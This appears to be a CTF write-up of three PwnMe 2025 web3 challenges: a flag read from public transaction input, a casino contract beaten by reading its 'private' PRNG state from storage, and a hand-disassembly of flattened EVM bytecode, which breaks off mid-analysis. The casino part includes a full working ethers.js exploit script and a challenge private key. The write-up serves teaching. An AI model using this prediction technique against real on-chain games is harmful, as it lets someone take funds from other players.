# PwnMe Web3 Writeup
In this writeup I will cover all three web3 challenges from the recent 2025 edition of PwnMe CTF which I had fun solving. :D
In part I am writing this to help future-me to remember what is going on with this web3 stuff and in part I am writing it for people that are in a similar situation that I was in before pwnme; not touching web3 stuff because it always seemed daunting.
In order to explain what is going on we will first cover some basics, but if you are just looking for the hard facts here are links to the details of the challenges.
- [Mafia at the end of the block 1](#tldr-mafia1)
- [Mafia at the end of the block 2](#tldr-mafia2)
- [Flattened Vyper](#tldr-vyper)
:::warning
While I think Blockchains make for a fun toy to play with, I don't think they are a very sensible practical solution to most problems. Please don't take this write-up as an endorsement.
:::
## Basics of Web3
This short segment will not cover anything in great technical detail and will focus on very broad ideas. If you would like to read a more detailed explanation check out the [official Ethereum documentation](https://ethereum.org/en/developers/docs/intro-to-ethereum/). I have found the parts that I have read nice to read.
#### Hash functions
There are different definitions for hash functions, but the most prevalent property (and the one we care about here) goes something like this:
A function $H: \mathcal{X} \to \mathcal{Y}$ is called a pre-image resistant if it is computationally infeasible for any $y \in \mathcal{Y}$ to find $x\in\mathcal{X}$ such that $H(x) = y$.
A non-example would be the function $ADD_5: \mathbb{N} \to\mathbb{N}$ that is defined as $x \mapsto x + 5$ because it is easy to construct a pre-image.
Given the for example the number $7$ we construct the preimage $7-2=5$, and we have $ADD_5(2) = 7$.
For most practical function called hash-functions (SHA3, BLAKE2, ...) we assume this property to hold and that is enough to understand the following.
Just remember:
:::info
For a hash function it is (nearly) impossible to find an input that maps to a specific output.
:::
#### Blockchain
You probably already have a vague idea what a blockchain is, but I have still drawn you a picture:

Each Block contains some useful data, some technical data and the hash of the previous block. The hash of this block is then calculated over all of this data and also saved with the block.
This is useful because if two people now agree on the current block, and it's hash then (with very high probability) they also agree on all the previous blocks. This gives us a way to save data where everyone is in agreement of the state.
We would now like to use this to do *financial* things, and we add *Transactions* to the mix.
Each Block contains several transactions and each transaction encodes some action that is being taken. One example for a transaction is *Send money from A to B*. Each transaction is cryptographically signed. In our example, *A* would have had to have signed the transaction for it to be valid.
:::info
Block: Collection of data that is being committed, can contain many transactions
Transaction: A single action being taken
:::
One now naturally asks *How is this chain being built? Who decides?*.
The answer to this question is very technical and depends on the exact implementation being used (and not really relevant here), so I will skip it, but this is where proofs of work come into play and the entire business can get **very** energy intensive. If you are interested I found [this explanation](https://ethereum.org/en/developers/docs/consensus-mechanisms/pos/) of the alternative *Proof of Stake* system nice.
#### Smart Contract
In the challenges to come we will explore some smart contracts, so it is important to understand the broad concept.
A smart contract is a piece of code that someone put onto the blockchain by using a transaction. This code can be executed by sending it a transaction with some input. The code is then run by whoever is creating the block and the output is saved on the blockchain, where the user can retrieve it. The contract can also trigger some external actions while being executed (like creating new transactions). Contracts can have internal state, which is also saved on the blockchain.
Contracts are defined in an architecture that is defined by the blockchain they are on. In the case of Ethereum this is fittingly called *Ethereum Virtual Machine (EVM)* and is stack based. A nice overview of the opcodes can be found [here](https://ethervm.io/).
The contracts for this are typically written in [*Solidity*](https://soliditylang.org/) and then compiled to byte-code.
:::info
Smart contract: A thing we can ~~magically~~ run in the blockchain
:::
We are now armed to tackle the challenges ahead :tada: So let's get to it!
## Mafia at the end of the block 1
This is the first of the web3 challenges, and we are given a PCAP file and the following meta-data:
- Description
- You're an agent, your unit recently intercepted a mob discussion about an event that's going to take place on August 8, 2024. You already know the location, though. A password for the event was mentioned. Your job is to find it and return it so that an agent can go to the scene and collect evidence. The contract is deployed on the sepolia testnet.
- Author
- [wepfen](https://x.com/wepfen) & Tzer
- Difficulty
- Easy
Opening the PCAP in Wireshark greets you with lots of packets, and scrolling through them, you see that there is unencrypted IRC traffic. Using Wiresharks follow TCP stream feature (right-click the packet then 'Follow') we can easily recover the entire conversation.
##### TCP Stream 4
```
JOIN #DarkNetMafia
:npeave!~eave@47-252-8-177.pwn.unpawnables.me JOIN #DarkNetMafia
:erbium.libera.chat MODE #DarkNetMafia +Cnst
:erbium.libera.chat 353 npeave @ #DarkNetMafia :@npeave
:erbium.libera.chat 366 npeave #DarkNetMafia :End of /NAMES list.
:Bob42!~Bob@47-252-8-177.pwn.unpawnables.me JOIN #DarkNetMafia
:Marco!~Marco@47-252-8-177.pwn.unpawnables.me JOIN #DarkNetMafia
:John885!~John885@47-252-8-177.pwn.unpawnables.me JOIN #DarkNetMafia
PING :erbium.libera.chat
PONG PING :erbium.libera.chat
PONG :erbium.libera.chat
PONG :erbium.libera.chat
:Bob42!~Bob@47-252-8-177.pwn.unpawnables.me PRIVMSG #DarkNetMafia :Hi guys, are you there?
:Marco!~Marco@47-252-8-177.pwn.unpawnables.me PRIVMSG #DarkNetMafia :Yeah, I'm here. What's up?
:John885!~John885@47-252-8-177.pwn.unpawnables.me PRIVMSG #DarkNetMafia :Present. We got stuff to talk about?
:Bob42!~Bob@47-252-8-177.pwn.unpawnables.me PRIVMSG #DarkNetMafia :Yeah, we've got a big job to get ready for. It's about the thing we were talking about the other day.
:Marco!~Marco@47-252-8-177.pwn.unpawnables.me PRIVMSG #DarkNetMafia :You mean that business with the Corleone family guy?
:John885!~John885@47-252-8-177.pwn.unpawnables.me PRIVMSG #DarkNetMafia :Exactly. We need to coordinate this properly. We all know it's risky.
:Bob42!~Bob@47-252-8-177.pwn.unpawnables.me PRIVMSG #DarkNetMafia :Yeah, so here's the plan: we'll talk about it in more detail here, then switch over to Telegram to finalize the details. There, we can exchange files if necessary.
PING :erbium.libera.chat
:Marco!~Marco@47-252-8-177.pwn.unpawnables.me PRIVMSG #DarkNetMafia :Good plan. When do we do it?
:John885!~John885@47-252-8-177.pwn.unpawnables.me PRIVMSG #DarkNetMafia :The transaction is scheduled for the evening of August 8, so we have a little time to fine-tune everything.
PING :erbium.libera.chat
:erbium.libera.chat PONG erbium.libera.chat :erbium.libera.chat
PONG :erbium.libera.chat
PING :erbium.libera.chat
PONG :erbium.libera.chat
PING :erbium.libera.chat
:Bob42!~Bob@47-252-8-177.pwn.unpawnables.me PRIVMSG #DarkNetMafia :Okay, so let's meet here in two days at the same time to finalize the strategy. Then we'll move on to Telegram, here if you missed it : https://shorturl.at/QiIKP.....
PONG :erbium.libera.chat
:Marco!~Marco@47-252-8-177.pwn.unpawnables.me PRIVMSG #DarkNetMafia :All right. Can't wait to see what you have in mind.
:John885!~John885@47-252-8-177.pwn.unpawnables.me PRIVMSG #DarkNetMafia :Yeah, me too. It's gonna be a big one if we execute it right.
:Bob42!~Bob@47-252-8-177.pwn.unpawnables.me PRIVMSG #DarkNetMafia :All right, no delay please. Here's the address : 0xCAB0b02864288a9cFbbd3d004570FEdE2faad8F8..
:Marco!~Marco@47-252-8-177.pwn.unpawnables.me PRIVMSG #DarkNetMafia :Got it. See you in two days, guys.
:John885!~John885@47-252-8-177.pwn.unpawnables.me PRIVMSG #DarkNetMafia :..See you soon. Stay sharp until then.
PING :erbium.libera.chat
:John885!~John885@47-252-8-177.pwn.unpawnables.me QUIT :Quit: Client closed
:Marco!~Marco@47-252-8-177.pwn.unpawnables.me QUIT :Quit: Client closed
```
Having found one conversation we can also find others by filtering for `irc`, but they are irrelevant for the solution, so I omit them here.
Reading through the conversation we get the address `0xCAB0b02864288a9cFbbd3d004570FEdE2faad8F8` to a smart contract and the note from the description tells us to look at the sepolia testnet. To take a first look we can use [etherscan](https://sepolia.etherscan.io) and entering our contract address in the search field takes us to its [overview page](https://sepolia.etherscan.io/address/0xCAB0b02864288a9cFbbd3d004570FEdE2faad8F8).

Looking at this, we see that there is only one transaction that got to the contract before the CTF started, so we take a closer look.

Now we know that this transaction called some function of the contract.
At this point, I assumed that I had to reverse the contract to figure out what was being run here. This turns out to be wrong (and while instructive for a later challenge, a waste of time) and we just need to click on the *More Details* button at the bottom of the page. Doing so shows us more Details and once we select *View Input as UTF-8* we are greeted by the flag.
:::success
:tada: `PWNME{1ls_0nt_t0vt_Sh4ke_dz8a4q6}`:tada:
:::

:::info
The important lesson here is that the input that you send to a smart contract is not private, but can be read by anyone at any time. (And also: Always click the show more button :D )
:::
#### Overview of solve
<a id="tldr-mafia1"></a>
- Look at PCAP in Wireshark and notice IRC conversation
- Conversation reveals address of Smart Contract
- Look at details of the last smart contract transaction and get the flag
## Mafia at the end of the block 2
The title of this challenge hints at it being a continuation of the previous challenge, but they are actually completely separate, and we get the following data:
- Description
- You're in the final step before catching them lacking. Prove yourself by winning at the casino and access the VIP room ! But remember, the house always win.
- Note : To connect to the casino with Metamask, we recommend you to use another browser and a "trash" MetaMask wallet to avoid some weird behavior.
- Author
- [wepfen](https://x.com/wepfen) & Tzer
- Difficulty
- Medium
In addition, we got a zip file containing a solidity contract definition (split in two files) that we will look at later.
Given with this challenge was a netcat command and connecting there allowed us to spawn a new instance. After doing so we get details of the following form:
```
UUID=c5727666-1915-4a13-bc6c-cb6945df6245
Casino URL=http://mafia2.phreaks.fr:80/c5727666-1915-4a13-bc6c-cb6945df6245/
RPC=https://mafia2.phreaks.fr/c5727666-1915-4a13-bc6c-cb6945df6245
PRIVATE_KEY=0x5e2d13a4b3b2a55fbaa9ed3b8c5cc35ef30f308a9c7e1d3de0ffe623225f72c5
PLAYER=0x9B7EB1F0a7f16d6D7568b752Da8337043510ad9A
SETUP=0x66E8BCdB03942d3B2B87aDB4828EEd90F95aC5EB
TARGET=0x6409149Bc5c739DC6EC027B4e56257B09e3546A1
```
Loading the Casino URL in a Browser gives us this interface:

If we want to we can install MetaMask and import the Wallet using the private key from the server and play the lottery.
The relevant part of the javascript is:
```javascript=
async function getWillWinFromContract() {
const casinoAddress = "0x6409149Bc5c739DC6EC027B4e56257B09e3546A1";
const casinoContractABI = JSON.parse('[{"inputs": [], "stateMutability": "nonpayable", "type": "constructor"}, {"inputs": [], "name": "checkWin", "outputs": [{"internalType": "bool", "name": "", "type": "bool"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "increment", "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "isWinner", "outputs": [{"internalType": "bool", "name": "", "type": "bool"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "modulus", "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "multiplier", "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}], "stateMutability": "view", "type": "function"}, {"inputs": [{"internalType": "uint256", "name": "number", "type": "uint256"}], "name": "playCasino", "outputs": [], "stateMutability": "payable", "type": "function"}]');
const rpc ="http://127.0.0.1:10019/b8110fef-5fb7-4cbd-966b-2582a3a8e997";
if (typeof window.ethereum !== 'undefined') {
try {
const web3 = new Web3(window.ethereum);
const contract = new web3.eth.Contract(casinoContractABI, casinoAddress);
// Vérifiez si le contrat est bien déployé
const code = await web3.eth.getCode(casinoAddress);
if (code === '0x') {
throw new Error("The contract is not deployed at this address.");
}
const accounts = await web3.eth.getAccounts();
const sender = accounts[0];
console.log("Connected account:", sender);
console.log("accounts :", accounts);
const tx = await contract.methods.playCasino(0).send({ // You're choosing to 0 everytime ? That's nice from you <3
from: sender,
value: web3.utils.toWei("0.1", "ether"),
gas: 300000,
});
const checkWinResult = await contract.methods.checkWin().call();
console.log("Check Win result: ", checkWinResult);
return checkWinResult;
} catch (error) {
console.error("Error while interacting with the smart contract.", error);
return null;
}
} else {
console.error("MetaMask is not installed");
return null;
}
}
```
From this (line 3) we get the ABI of the smart contract and know how to interact with it. We can call a function called `playCasino`, give it a number, and it then tells us whether we won. Assumption now: We want to win the lottery. Now it makes sense to take a look at the solidity files we were given.
#### Setup.sol
The setup file is not the most interesting, and seems to only be there to check whether something has worked, so we'll move on to the meat of the operation in the Casino.sol file.
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import {CasinoPWNME} from "./Casino.sol";
contract Setup {
CasinoPWNME public casino;
constructor() {
casino = new CasinoPWNME();
}
function isSolved() public view returns (bool) {
return casino.checkWin();
}
}
```
#### Casino.sol
Looking at the Casino.sol file we see that it uses a [Linear congruential generator](https://en.wikipedia.org/wiki/Linear_congruential_generator) to generate the next winning number. For us the important feature is that once you know the state you can easily compute the next random number that will be chosen.
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract CasinoPWNME {
bool public isWinner;
uint256 public multiplier = 14130161972673258133;
uint256 public increment = 11367173177704995300;
uint256 public modulus = 4701930664760306055;
uint private state;
constructor (){
state = block.prevrandao % modulus;
}
function checkWin() public view returns (bool) {
return isWinner;
}
function playCasino(uint number) public payable {
require(msg.value >= 0.1 ether, "My brother in christ, it's pay to lose not free to play !");
PRNG();
if (number == state){
isWinner = true;
} else {
isWinner = false;
}
}
function PRNG() private{
state = (multiplier * state + increment) % modulus;
}
}
```
At this point my first idea was to compute the initial value somehow since `block.prevrandao` is [not considered a secure source of randomness](https://ethereum.stackexchange.com/questions/158525/can-prevrandao-be-written-as-a-random-number-on-chain), but this is actually not necessary.
You may have (just like I did) said *Ah, the variable state is marked as private, so I can't read it!*, if so, let me remind you of what I figured out after some time: The point of the blockchain smart contracts is that they are verifiable computation, but verifying is only possible when the internal variables are public! There is also a more technical reason: All the internal state of the contract needs to be stored in the blockchain (because where else would it be?) and is therefore accessible to everyone (so also to us).
This leads us to the following plan: Read the state variable from the blockchain, compute the next value, win the lottery.
Executing on this plan then takes some technical finagling.
It seems that this time around we are interacting with our own blockchain, so etherscan won't be of any help. So we need a different way of interacting with the blockchain and nicely we are given an RPC interface. This interface is also used in the web application.
Since [the web3 library is being sunset in March 2025](https://docs.web3js.org/), and I had to learn a new thing anyhow, I chose to use [ethers](https://ethers.org/).
Connecting to the RPC interface is supposed to be easy enough
```javascript=
import { ethers } from "ethers";
const url = "https://mafia2.phreaks.fr/c5727666-1915-4a13-bc6c-cb6945df6245"
const provider = new ethers.JsonRpcProvider(url)
```
But we run in into our first issue and get a connection issue. After verifying using CURL that we should be able to connect in this way we figure out that ethers tries to send a batch request.
```bash
curl -H "Content-type: application/json" -X POST --data '{"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["0x2", false],"id":1}' https://mafia2.phreaks.fr/c5727666-1915-4a13-bc6c-cb6945df6245
```
Turning that off gives us a working connection, and we add in the contract definition from the web application, and we can test that it works by asking the contract for its variables.
```javascript=
import { ethers } from "ethers";
const url = "https://mafia2.phreaks.fr/c5727666-1915-4a13-bc6c-cb6945df6245"
const provider = new ethers.JsonRpcProvider(url, undefined, {batchMaxCount: 1})
const abi = '[{"inputs": [], "stateMutability": "nonpayable", "type": "constructor"}, {"inputs": [], "name": "checkWin", "outputs": [{"internalType": "bool", "name": "", "type": "bool"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "increment", "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "isWinner", "outputs": [{"internalType": "bool", "name": "", "type": "bool"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "modulus", "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "multiplier", "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}], "stateMutability": "view", "type": "function"}, {"inputs": [{"internalType": "uint256", "name": "number", "type": "uint256"}], "name": "playCasino", "outputs": [], "stateMutability": "payable", "type": "function"}]'
const contract = new ethers.Contract("0x3ef90DA9e4DCe99a780C279A48F94a998D0Cd1c4", abi, signer)
// Get the parameters from the deployed version
const multiplier = await contract.multiplier()
const increment = await contract.increment()
const modulus = await contract.modulus()
console.log(increment, multiplier, modulus)
```
For public variables' solidity nicely autogenerates getter functions which we make use of, but there is no getter for the state variable, but that won't stop us!
We just read the storage directly
```javascript=
console.log('isWinner', await provider.getStorage(contract.getAddress(), 0))
console.log('multiplier', await provider.getStorage(contract.getAddress(), 1))
console.log('increment', await provider.getStorage(contract.getAddress(), 2))
console.log('modulus', await provider.getStorage(contract.getAddress(), 3))
// Get state from the storage of the smart contract
const state = BigInt(await provider.getStorage(contract.getAddress(), 4))
```
Giving us the same variables that we queried before.
```
isWinner 0x0000000000000000000000000000000000000000000000000000000000000000
multiplier 0x000000000000000000000000000000000000000000000000c4186b7307ec2295
increment 0x0000000000000000000000000000000000000000000000009dc04fc77d7459e4
modulus 0x00000000000000000000000000000000000000000000000041409d07178de987
```
And in the state variable we now have the value that state has within the contract, so we compute the next value and send a transaction with that value.
```javascript=
// Calculate the winning number
const next_int = (multiplier * state + increment) % modulus
// Play the lottery
const amount = ethers.parseUnits("0.1", 18);
const tx = await contract.playCasino(next_int, {value: amount});
// Check that we actually won
const checkWinResult = await contract.checkWin();
console.log(checkWinResult)
```
This prints `true`, so where is our flag?
Going back to where we spawned the instances we reconnect and chose 3.
```
1 - launch new instance
2 - kill instance
3 - Check winner
action? 3
uuid please: b8110fef-5fb7-4cbd-966b-2582a3a8e997
Congratulations! You can now access vip page
```
Clicking on VIP in the web application now gives us access to another chat log that contains our flag!

:::success
:tada: `PWNME{th3_H0us3_41way5_w1n_bu7_sh0uld_be_4fr41d_0f_7h3_ul7im4te_g4m8l3r!}` :tada:
:::
:::info
Not only the input and output to a smart contract are inherently public, but also the internal variables (even if they are marked private)!
:::
#### Overview of solve
<a id="tldr-mafia2"></a>
- Get the current state from the storage of the contract
- Compute next state value
- Send transaction to win the game
```javascript=
import { ethers } from "ethers";
// Setup RPC connection
const url = "https://mafia2.phreaks.fr/c5727666-1915-4a13-bc6c-cb6945df6245"
const provider = new ethers.JsonRpcProvider(url, undefined, {batchMaxCount: 1})
// Use Player Wallet, replace with PRIVATE_KEY from challenge output
const signer = new ethers.Wallet('0x5e2d13a4b3b2a55fbaa9ed3b8c5cc35ef30f308a9c7e1d3de0ffe623225f72c5', provider)
// Contract with ABI, replace contract adress with TARGET from challenge output
const abi = '[{"inputs": [], "stateMutability": "nonpayable", "type": "constructor"}, {"inputs": [], "name": "checkWin", "outputs": [{"internalType": "bool", "name": "", "type": "bool"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "increment", "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "isWinner", "outputs": [{"internalType": "bool", "name": "", "type": "bool"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "modulus", "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "multiplier", "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}], "stateMutability": "view", "type": "function"}, {"inputs": [{"internalType": "uint256", "name": "number", "type": "uint256"}], "name": "playCasino", "outputs": [], "stateMutability": "payable", "type": "function"}]'
const contract = new ethers.Contract("0x6409149Bc5c739DC6EC027B4e56257B09e3546A1", abi, signer)
// Get the parameters from the deployed version
const multiplier = await contract.multiplier()
const increment = await contract.increment()
const modulus = await contract.modulus()
// Get state from the storage of the smart contract
const state = BigInt(await provider.getStorage(contract.getAddress(), 4))
// Calculate the winning number
const next_int = (multiplier * state + increment) % modulus
// Play the lottery
const amount = ethers.parseUnits("0.1", 18);
const tx = await contract.playCasino(next_int, {value: amount});
// Check that we actually won
const checkWinResult = await contract.checkWin();
console.log(checkWinResult)
```
## Flattened Vyper
Different from the other challenges, Flattened Vyper was not marked as Misc, but as Rev, so from the get-go we know we are in for some byte-code-reading.
We also get this data:
- Description
- I achieve to obtain this smart contract, but I can't understand what it does. Can you help me?
- The only information that I have are the followings:
- The flag is cut in three parts and each part is emitted once.
- The first part is emitted in raw bytes.
- The second part is emitted in base58 encoding.
- The last part has to be xor-ed with the second part.
- Author
- [Fabrisme](https://x.com/FabrismeGoeland)
- Difficulty
- Medium
And we get a binary file containing a smart contract definition
```
0x6003361161001843405d6106b4576106ac43405d6106b4565b5f3560e01c346106b043405d6106b4576301002b1f81186106aa43405d6106b457608436106106b043405d6106b45760243560040160408135116106b043405d6106b4578035602082018181606037508060405250507f1b47819435df544ae4e6a35d3c2d0eb2900cab1460ec254d464c1d82d70db60a7fe4b87e6bca20abb51b195ca36f2af2f5438b8a072af4f6f657b9a8304e8d36910133186106b043405d6106b4577f400000000000000000000000000000000000000000000000000000000000000060a0527f100000000000000000000000000000000000000000000000000000000000000060c0527f6d1cd107e7ef14bc558622a86cb621d9f18c50764e98df43777f3b33164b87dd7f42e0da5ae4babe43a564859fc944bb6033a02fb2741ff60444793a962b5ccf627fa2b11742daceaab03c583a6aa15e32d664450c3eb36da7897f6ce121490078597f8d4d1c1fd99b004fccba9d5d04aca86fa66973fa89ea8ece4c6ae08474173fa6181803517f781d48306de91b1cbdc32a7036761292d1c1cf57e84fe74689f7583d7e24c64f7f781d48306de91b1cbdc32a7036761292d1c1cf57e84fe74689f7583d7e24c6ef18517f0512bd13110722311710cf5327ac435a7a97c643656412a9b8a1abcd1a6916c77f459142deccea264542a00403ce80c4b0a4042bb3d4341aad06905269ed6f0b097f4083ffcddded047455b0cb50e92c87eade93edf0b1500804be31f9a4f7061dc2180335181861069f43405d6106b4577f805d92843fa8a2a28a4c797f73b9b4d5a4d8fd4f515d4e8cdfc2c303969081497f4c45d48945056a0c8203311b215240ed84ad80e70629f350834b13c2c0f510d47f0768ff01e42043ef7236fc833ca34516c059f32dce8faaa7c3085cb73a85b9df18037fadaf670881744dc7aa596a2d1eb68dbc21fef929481f4bc6ec75331d53acbd2e7f61ec705ea65e9bbf5b5a26cc5fa4f55ad1074377dce1ffbc52d65a8816af56a47f9c1a44f72090b2084eff4360bf11986150f7b5b16b3d4c0a999ed8953cfd668a010360e05260207f5a589468edfec83b6b027d7dc5bb900ed2921f1620aae0da1aa294cc3ef1dd717fa5a76b97120137c494fd82823a446ff12d6de0e9df551f25e55d6b33c10e236f01a17f101aa2511b4501cd6f4bedff54bee2f014409dfdf0c34e4a64b6f4f4e72d12a17f6aaf1061dc80372e146e902c25be0914f9997523a728f840c73791d7d1c5554e7fed7a429f015e2d1de96ca3ecadf167436726c87d156b2102064cdc2db8a65eba7f8a0afd773820c30d4395e19e96c0e921f3358da90bb44eb99631bbcc1afc52d27f2933690f7726bee93b2fb03b006b8c4f0cd1d2602dd08d3884e88cb07c9985557ff498467872da19bd835f3a0d95241a369f38625609e70acb1761497dddfe741101010101516060201861069f43405d6106b4577f7d32a137160083987c5b53f4a7153ac04f8d6c93569d179ad4df3963572af76b7f9650daf8bc6e9af151f6c7125f922329197841d23a7933641b5c2b5a836f208d7f0d973dfa900ec9b8498e449d6a71d2eed81d94c326c4acc325db9c6420acc6bd01037fc86afc4c1f60387b16cce4e4b7c47baf30b9fc18389a2563b2afbe90f43b938b7f9de848aa2e1f7fadbc76fdeb1e6d86e23f62c033260728029884a9e1533cf0907f4535f7c4dddcbd2e353778b864f7e5aadeb48786211942f0066b5715f41e13447fcd1941de2602e740c239ec7184cd0608b8cebb856e7243bca25b386695fc5d4f7f11fea6990cda43a993f3c8cb366da2c23305d78b65ad90ea8578bc704a1b53617f81385805084428d13c1994377979238f1c9f574353e344bf9674b56f2380894f031818010160e0527fb861afb70639f08b7f0a674d3ce0216ce6746772b2c753574d99d19c2507759b7f479e5048f9c60f7480f598b2c31fde93198b988d4d38aca8b2662e63daf88a85017f5a589468edfec83b6b027d7dc5bb900ed2921f1620aae0da1aa294cc3ef1dd717fa5a76b97120137c494fd82823a446ff12d6de0e9df551f25e55d6b33c10e236f01a1610a286002604435181861069f43405d6106b4577f6751ff9969e5beee7bb9fd6731aba2e2a213bd96a1f54b0a24d11452a915ab967fa3f4105dff5270ad5b285974bd7f411880965825ce709ecdb52d7d484df31bfd7f493267cb0f8113a9bd75b52869d3344723cd0d18ac091431f0c8c0557d4d69c37f8a7d2dab1437a704175dec5cd4ac755fa35b553d62798afc45e5bd1d30be723e180360e052602060e0a1600160e052602060e06106a843405d6106b4565b5f60e052602060e05bf35b505b5f5ffd5b5f80fd5b43405c8081181856
```
Throwing this at the decompilers I could find didn't work, so I choose to disassemble and then reverse this by hand.
This is sometimes made easier by looking at values that are computed during execution, to do, so I used [evm-run](https://github.com/zemse/evm-run), a rust application that just runs the evm code. I patched it to also print the address of the function currently being executed to make debugging slightly easier. I just added this in the inspector.rs file.
```rust=55
let insid = interp.program_counter();
print!(
"{insid:04x} {opcode_num:0>2x} {opcode_str:pad_length$}",
pad_length = self.op_length_max
);
```
There is no real trick to reversing this but to start from the top and work down to understand what the blocks of this binary does.
Starting from the top we look at the first couple instructions:
```
// Check if more than 3 bytes from input
0000 60 PUSH1 0x03
0002 36 CALLDATASIZE
```
Our stack now contains first the number 3, then the size of our data.
```
0003 11 GT
```
The previous two values are now vanished, and we have a 1 if the size of the input is bigger than 3 and 0 otherwise.
```
// Write transient[block num] = 0x18
0004 61 PUSH2 0x0018
0007 43 NUMBER
0008 40 BLOCKHASH
0009 5D TSTORE
```
Transient storage is a key-value pair store that a contract can use during execution (it does not persist between them). The TSTORE instruction adds something to this storage, so the codeblock writes the literal 0x18 into the transient storage with the number of the current block as the key.
This will be a theme throughout this code, as we will see now:
```
000A 61 PUSH2 0x06b4
000D 57 *JUMPI
```
This code jumps to 0x06b4 if there is a truthy value before it (in our case size(input) > 3), otherwise it does nothing.
Taking a quick look at the code at 0x06b4
```
06B4 5B JUMPDEST
06B5 43 NUMBER
06B6 40 BLOCKHASH
06B7 5C TLOAD
// make the value be on the stack three times
06B8 80 DUP1
06B9 81 DUP2
// xor the value to itself
06BA 18 XOR
06BB 18 XOR
06BC 56 *JUMP
```
We realize that this jumps to the value from transient[block num] (which right now is 0x18).
All jumps in this binary are run through this gadget, a technical called *control flow flattening*.
:::info
transient[block num] is used as a storage for jump marker and 0x06b4 then jumps there.
:::
Now we go back to where we came from and first look at the branch where the length of our input is <= 3.
```
000E 61 PUSH2 0x06ac
0011 43 NUMBER
0012 40 BLOCKHASH
0013 5D TSTORE
0014 61 PUSH2 0x06b4
0017 56 *JUMP
```
This code saves 0x06ac to transient[block num] and then jumps to 0x06B4 (our control flow gadget). So we can shorten this code to:
```
PUSH2 0x06ac
JUMP
```
And we look at the region down there (we will look at slightly more because it makes sense). Near the end of the contract we have these 3 jump-destinations that all lead to a revert. So if we encounter them we already know where this is going.
```
// revert with data at offset 0 and length 0 (extra stack cleanup)
06AA 5B JUMPDEST
06AB 50 POP
// revert with data at offset 0 and length 0
06AC 5B JUMPDEST
06AD 5F PUSH0
06AE 5F PUSH0
06AF FD *REVERT
// revert with data at offset 0 and length 0
06B0 5B JUMPDEST
06B1 5F PUSH0
06B2 80 DUP1
06B3 FD *REVERT
```
So the branch where the length of the input is <= 3 only reverts and does not emit anything, so we have to look at the other branch.
In the following I will replace calls to our control flow with direct jumps and revert gadgets with revert, so it is a bit easier to read.
```
0018 5B JUMPDEST
// read first uint256 from input
0019 5F PUSH0
001A 35 CALLDATALOAD
// right shift inp[0:32] by 0xe0, gets first 4 byte of input
001B 60 PUSH1 0xe0
001D 1C SHR
// push value of transaction, so the attached finances
001E 34 CALLVALUE
// jump to 0x06b0 (revert with data at offset 0 and length 0) if value of transaction is not 0
001F 61 PUSH2 0x06b0
0028 57 *JUMPI
```
This block does two things: It reverts if the transaction has more than 0 m0nez attached (the value is not 0) and it puts the first 4 bytes of the input onto the stack.
```
// xor first 4 bytes of input with 0x01002b1f
0029 63 PUSH4 0x01002b1f
002E 81 DUP2
002F 18 XOR
// jumps to clean up stack and revert(0,0), so the first 4 bytes have to be that
0036 61 PUSH2 0x06aa
0039 57 *JUMPI
```
This block checks that the first four bytes of the input are 0x01002b1f and otherwise reverts.
By now you have probably understood what is happening here, we are reconstructing an input that causes the program to not revert.
This is also what I thought we were doing, so I started writing a script that would solve for the requirements.
But if one continues to reverse further using the same pattern, keeping track of the values in memory, you find this block:
```
02A9 7F PUSH32 0xadaf670881744dc7aa596a2d1eb68dbc21fef929481f4bc6ec75331d53acbd2e
02CA 7F PUSH32 0x61ec705ea65e9bbf5b5a26cc5fa4f55ad1074377dce1ffbc52d65a8816af56a4
02EB 7F PUSH32 0x9c1a44f72090b2084eff4360bf11986150f7b5b16b3d4c0a999ed8953cfd668a
030C 01 ADD
030D 03 SUB
030E 60 PUSH1 0xe0
0310 52 MSTORE
```
Which stores 0x50574e4d457b0000000000000000000000000000000000000000000000000000, so `PWNME{` at memory address 0xe0 and right after we do this:
```
0311 60 PUSH1 0x20
0313 7F PUSH32 0x5a589468edfec83b6b027d7dc5bb900ed2921f1620aae0da1aa294cc3ef1dd71
0334 7F PUSH32 0xa5a76b97120137c494fd82823a446ff12d6de0e9df551f25e55d6b33c10e236f
0355 01 ADD
0356 A1 LOG1
```
Where the last instruction now fires an event with topic `0xcacf9904617c874165e95418aa375125a01b767b77490b6a60808c7263e027c2` and content `0x50574e4d457b0000000000000000000000000000000000000000000000000000`, so we have found the first part of our flag.
Using the description of the challenge we now look for more LOG1 instructions and the next one with context is:
```
// push 0x4d684c674e377772326f42757963660000000000000000000000000000000000
0495 7F PUSH32 0xc86afc4c1f60387b16cce4e4b7c47baf30b9fc18389a2563b2afbe90f43b938b
04B6 7F PUSH32 0x9de848aa2e1f7fadbc76fdeb1e6d86e23f62c033260728029884a9e1533cf090
04D7 7F PUSH32 0x4535f7c4dddcbd2e353778b864f7e5aadeb48786211942f0066b5715f41e1344
04F8 7F PUSH32 0xcd1941de2602e740c239ec7184cd0608b8cebb856e7243bca25b386695fc5d4f
0519 7F PUSH32 0x11fea6990cda43a993f3c8cb366da2c23305d78b65ad90ea8578bc704a1b5361
053A 7F PUSH32 0x81385805084428d13c1994377979238f1c9f574353e344bf9674b56f2380894f
055B 03 SUB
055C 18 XOR
055D 18 XOR
055E 01 ADD
055F 01 ADD
// memory[0xe0] = 0x4d684c674e377772326f42757963660000000000000000000000000000000000
